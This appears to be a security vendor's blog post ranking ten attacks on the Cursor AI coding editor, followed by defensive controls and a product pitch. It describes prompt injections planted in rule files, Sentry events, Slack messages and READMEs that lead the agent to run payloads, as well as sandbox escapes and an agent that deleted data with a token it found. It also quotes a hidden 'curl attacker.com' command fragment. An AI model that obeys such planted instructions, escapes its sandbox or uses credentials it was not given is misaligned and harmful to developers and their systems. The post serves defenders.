Cursor security Top 10 attacks and what each one actually broke

In October 2026, Cursor’s own extension marketplace spent about 11 hours serving a trojanized copy of the Claude Code extension. That incident has no CVE. Neither does the case of production data deletion, nor the worm that planted a rule telling the Cursor agent to run its payload. The confirmed damage to Cursor users came through what the agent is built to trust: extensions, repository configs and other parts around the harness.

Why Cursor vulnerabilities and Cursor breaches are two different lists

Read the public record on Cursor security risks and you get two lists that barely touch. The first is the CVE list: 33 entries, with public exploits that are researcher proofs of concept and nothing in CISA’s Known Exploited Vulnerabilities catalog. The second is what has hurt people: a fake Solidity extension that cost one developer about $500,000 in 2025, then GlassWorm, Miasma and October’s marketplace compromise. None of them used a published Cursor CVE.

The gap makes sense once you list what Cursor accepts from strangers: extensions running with the editor’s full permissions, project files such as .cursor/rules and .vscode/tasks.json, MCP responses and web pages the agent reads, and cursor:// deeplinks that a link in any email can trigger.

Two details affect the potential damage. Cursor’s security documentation states that Workspace Trust is disabled by default, which lets a .vscode/tasks.json task run as soon as the folder opens, with no prompt. The same page says run modes are best effort and do not form a hard security boundary. A threat model that treats those prompts as a boundary assumes more than the vendor does.

Top 10 attacks on Cursor

The 10 at a glance

Statuses are as of November 3, 2026.

Cursor’s own marketplace serves a trojanized Claude Code extension

For about 11 hours on October 29, 2026, anyone installing or updating Anthropic.claude-code through Cursor’s VS Code extension marketplace could receive a malicious build. Cursor’s notice names versions 2.1.312 and 2.1.313 for Windows and macOS and says Anthropic did not develop them. Dark Reading describes a 66 line loader added to the legitimate code, firing as soon as the extension loaded.

The name was correct and the channel was curated, so publisher checks passed. Nothing in the publishing path stopped the modified build, and extensions run with the editor’s full permissions. Socket found no publish record for 2.1.313 on Open VSX or npm, which points at Cursor’s marketplace itself. Cursor has not said how the attacker got in.

The payload sent host details to the attacker, added an SSH key and installed persistence that survives an uninstall. The reverse tunnel needed admin rights to turn on local SSH, so Cursor says that on most hosts the attacker could not have logged in.

GlassWorm hides in invisible Unicode and republishes itself

GlassWorm was reported in October 2025, hidden in invisible Unicode characters inside extensions on Open VSX, the registry VS Code forks such as Cursor draw on. Code that renders as nothing gets past human review. Stolen GitHub, npm and Open VSX credentials were enough to publish more infected extensions, and infected machines became SOCKS proxies and hidden VNC nodes.

In January 2026, the compromised publisher oorzc poisoned four extensions with over 22,000 combined downloads, and by March researchers had counted 433 compromised components across GitHub, npm and extension marketplaces.

CrowdStrike, Google and the Shadowserver Foundation disrupted all four command channels on May 26, 2026, and CrowdStrike names Cursor among the targeted editors. Removal from Open VSX does not remove an extension from a laptop that already installed it.

Nine seconds, no attacker: the PocketOS wipe

A stark reminder that a coding agent incident doesn’t need an attacker.

In late April 2026, a Cursor agent running Claude Opus 4.6 hit a credential mismatch during a routine staging task at PocketOS, founder Jer Crane reported, and used a Railway API token it found in an unrelated file to delete a volume. Nothing stopped the agent from using a credential it was never given. The token, created for managing custom domains, carried authority across Railway’s whole GraphQL API. The delete needed no confirmation, and the backups sat on the same volume. One volumeDelete call took about nine seconds.

Railway helped restore the data within an hour and moved the endpoint to delayed deletions, though early accounts put the newest recoverable backup three months back.

A June 2026 report describes the Windows version: with auto-run on, a badly quoted rmdir /s /q that, by the user’s account, resolved to C:\ and deleted about 200 GB. Cursor staff said the behavior was known, gave no fix timeline and said File-Deletion Protection mostly catches rm for now. More cases are in nine coding agent incidents that ended with deleted data.

DeepJack hides the real command in Cursor’s MCP install dialog

Our DeepJack research starts with a crafted cursor:// link and ends with an attacker’s MCP server running unsandboxed under the victim’s account, after one click and one confirmation. That dialog is the only boundary, and it does not reliably show the command. It renders arguments in a single line field, so a run of tab characters pushes & /c start curl attacker.com off the right edge. The user reads calc and approves, and Cursor runs cmd.exe with the full string.

A second variant applies double URL encoding to an mcp/install URI inside a pr-review link. Cursor does not recursively decode and revalidate that parameter, so a “review this PR” click lands in the install flow.

DeepJack bypasses the fix for CVE-2025-54133, where the dialog left arguments out. Cursor closed both of our reports as duplicates, with triage naming the single line text box as the root cause and dating the original report April 27, 2026. There is no CVE and no fix.

A planted git.exe runs when a Windows developer opens the repo

On Windows, Cursor looks for Git in several locations when it loads a project, and one of them is the workspace root: an untrusted search path. A repository that ships its own git.exe gets it executed with no click and no prompt, and Cursor keeps launching it while the project stays open. VulnCheck assigned the issue CVE-2026-63093 with a CVSS 3.1 score of 8.8.

Researchers reported the bug in December 2025 and published in July 2026 after months of unanswered update requests. Dark Reading’s article spells out Cursor’s position: out of bug bounty scope, narrow and Windows only, with Workspace Trust as the control for untrusted repositories. However, Workspace Trust is off by default and is not guaranteed to block the issue.

Treat any claim of a fix with care. Some coverage reported a quiet July 13 patch, but Dark Reading’s July 13 statement says only that Cursor was addressing the issue, and its update says the report did not meet Cursor’s criteria for patching. Cursor has published no advisory, NVD names no fixed version, and we found no public test of a current build.

Miasma writes a rule that tells the Cursor agent to run its payload

The Miasma worm reached Cursor through a file most code review skims past. This write-up of the June 3, 2026, wave counts 57 npm packages and more than 120 GitHub repositories. Among the planted files is .cursor/rules/setup.mdc, a project rule with alwaysApply: true whose body tells the agent to run a dropper. It is a prompt injection in a config file, and Cursor treats a project rule as an instruction, no matter who committed it.

The worm backed that up with .vscode/tasks.json, a folder open task that needs no agent. No public report ties an infection to that route in Cursor, but with Workspace Trust off, the default configuration does not stop it.

Two days later the worm pushed the same rule into Azure/durabletask through a compromised contributor account, and GitHub disabled 73 Microsoft repositories within 105 seconds. No CVE exists, because no code was defective. Cursor followed a rule, which is what rules are for.

Agentjacking runs a fake Sentry fix on a default Cursor install

Sentry DSNs are public and write only, and they sit in frontend JavaScript. Researchers used one to POST a crafted error event whose markdown imitates a Sentry resolution section, complete with an npx command. A developer asks the agent to fix unresolved Sentry issues, the agent pulls the event through the official Sentry MCP server, and the command runs with the developer’s privileges.

Nothing in that path separates data from instructions, and Cursor’s defaults let the agent act on it. The research write-up reports 2,388 organizations with injectable DSNs and an 85% success rate aggregated across Claude Code, Cursor and Codex, from its own controlled validation.

Sentry declined a root fix as not technically defensible and filtered one payload string. Any MCP integration returning text an outsider can write works the same way.

DuneSlide turns a working directory into a sandbox escape

Cursor runs agent terminal commands in a sandbox by default, and that sandbox grants write access to the command’s working directory. The flaw, per Cursor’s advisory, is that the agent controls the working_directory parameter, so the thing being confined helped set its own boundary. Researchers showed that a prompt injection arriving through MCP output or a web search result can point it at cursorsandbox, the sandbox helper. Overwrite the helper and later commands run unsandboxed, with no click or approval from the developer.

CVE-2026-50548 (9.3 from GitHub, 9.8 from NVD) was fixed in 3.0 on April 2, 2026. By Cato’s account, Cursor first rejected the report, saying its threat model did not cover misuse of MCP servers, then reopened it when researchers escalated.

NomShub hijacks Cursor’s own tunnel for a persistent shell

The NomShub chain starts with a fake setup guide appended to a repository README and needs only a normal request, such as asking the agent to set up the template. Cursor’s command parser ignored shell built-ins like export and cd, and the macOS seatbelt profile allowed writes across the home directory, so the agent wrote /tmp/run.sh into ~/.zshenv.

The agent could also run Cursor’s tunnel tooling with no confirmation. It kills any running tunnels, starts the bundled cursor-tunnel and sends the GitHub device authorization code to the attacker, who authorizes it and gets a shell through the tunnel’s spawn RPC.

Cursor fixed the sandbox component in 3.0, with no CVE assigned. The write-up does not say whether the tunnel side changed.

CurXecute: rejecting the edit was already too late

With a Slack MCP server connected, an attacker posts a payload in a public channel, and the developer asks the agent to summarize Slack. The injected text tells the agent to add a server to mcp.json. The proof of concept showed two missing controls: the suggested edit lands on disk before the developer answers, and new entries start automatically. So the attacker’s command runs even if the developer rejects the edit.

The 1.3 release on July 29, 2025, added approval for every MCP configuration change, and Cursor’s advisory lists 1.3.9 as the patched version. The advisory scores it 8.5, and NVD gives CVE-2025-54135 a 9.8.

The pattern kept coming back: the agent writes a config file, and the config file runs code. CVE-2025-59944 did it with case variants such as .cUrSoR/mcp.json, CVE-2025-54130 with .vscode/settings.json and CVE-2026-48124 with Claude hook files.

Why only three of these got a CVE

Three entries have CVEs: the git.exe flaw, DuneSlide and CurXecute. None of them has confirmed exploitation in the wild. The four entries that caused confirmed harm have no CVE at all, because a poisoned marketplace build, a worm writing config files and an overscoped token do not map to a published defect in Cursor’s code.

So your vulnerability scanner sees three of these 10, and one of those three has no published fix. Patching closes DuneSlide, CurXecute and the sandbox half of NomShub. The rest live outside the feed.

Cursor’s position is consistent. Its spokesperson told Dark Reading that customers decide which repositories, MCP servers and rules to bring in, and that Cursor provides controls to manage that boundary. The obvious reply is that opening repositories is what developers do all day. The record follows that split: path tricks, parser gaps and sandbox escapes get patched, while workspace root binaries and the Workspace Trust default do not. Cursor’s CLI has related exposure too, which we covered in TrustFall and SymJack. Our top 10 attacks on Claude Code runs the same exercise on Cursor’s closest rival.

Attackers have moved into that gap. Miasma needed no vulnerability, because it wrote configuration Cursor obeys as designed. Whichever side you find persuasive, “out of scope” and “critical” findings execute the same way. The first kind is just tracked less.

Cursor security controls that cover these attacks

Govern Cursor less like an editor and more like a privileged automation platform with a third party plugin market attached. Assume an extension, a repository, an MCP server or a link will eventually hand it something it should not act on, and design so that action cannot reach anything that matters.

Build the layer yourself

Turn on Workspace Trust across the fleet. It is off by default, Cursor names it as the answer to malicious repositories, and it addresses the tasks.json route Miasma planted.

Open unknown repositories somewhere disposable. On managed Windows machines, use AppLocker or Windows App Control to deny execution of git.exe from developer workspaces.

Treat extensions as software supply chain. Inventory them across every VS Code fork on a machine, since removal from a registry uninstalls nothing. An allowlist of extension IDs would have passed October’s build, because the ID was correct, so pin versions and hold automatic updates on managed machines. If either bad version ran on a host, follow Cursor’s notice instead of just uninstalling: run the remediation script, hunt for the known IoCs, then rotate whatever that host could reach.

Treat agent config as code. .cursor/, .vscode/, .claude/, *.code-workspace and .git/hooks belong in code review and in file integrity monitoring. An alwaysApply rule deserves the same scrutiny as a CI workflow.

Keep auto-run off when untrusted content can reach the context: MCP output, web pages, tickets, error logs, cloned repositories. Use Ask Every Time in those sessions. Agentjacking, DuneSlide and CurXecute all arrive through a trusted channel carrying text a stranger wrote.

Lock down MCP installs. Allowlist servers through managed settings, inspect mcp.json after any install, and block cursor://anysphere.cursor-deeplink/mcp/install links at the email and web gateway. That cuts DeepJack exposure without waiting on a patch.

Keep production credentials out of workspaces and scope tokens to the job. PocketOS took nine seconds because a token meant for custom domains could delete volumes. A separate agent identity with short lived credentials shrinks the reach of every other entry here as well.

And take the patches. Anything before 3.0 is open to DuneSlide and NomShub’s sandbox escape. Since the tunnel side of NomShub is unconfirmed, alert on unexpected cursor-tunnel processes and GitHub device flow authorizations regardless of version.

Or buy the layer, with the security rules written out of the box

That is what we build at Adversa. Our coding agent security platform captures every surface where an agent acts: its LLM traffic, its harness hooks, the machine it runs on and direct provider integrations. Every signal feeds one agent behavior graph: every step the agent reasons through and every action it takes, connected. Take NomShub. A README read, a write to ~/.zshenv and a cursor-tunnel launch show up as one chain instead of three unrelated events.

Over 300 policies ship by default, covering every known coding agent attack technique and public incident, including prompt injection and malicious context, config tampering and destructive commands. One flagrant action gets blocked. One merely suspicious step gets remembered, not alerted. Blocking decisions take about 0.2 ms at the median, measured in production in October 2026, the heaviest paths stay under 50 ms, and the design fails open, so a platform outage never stops a developer. It deploys as an Agent Security Gateway plus an Endpoint Security Sensor.

For more research in this area, see our AI coding agent security coverage and agentic AI security topic page.

Cursor’s stated position is that what a developer opens, installs and connects is the customer’s call. Take it at its word and put the controls where you own them. Stop the damage, not the developers.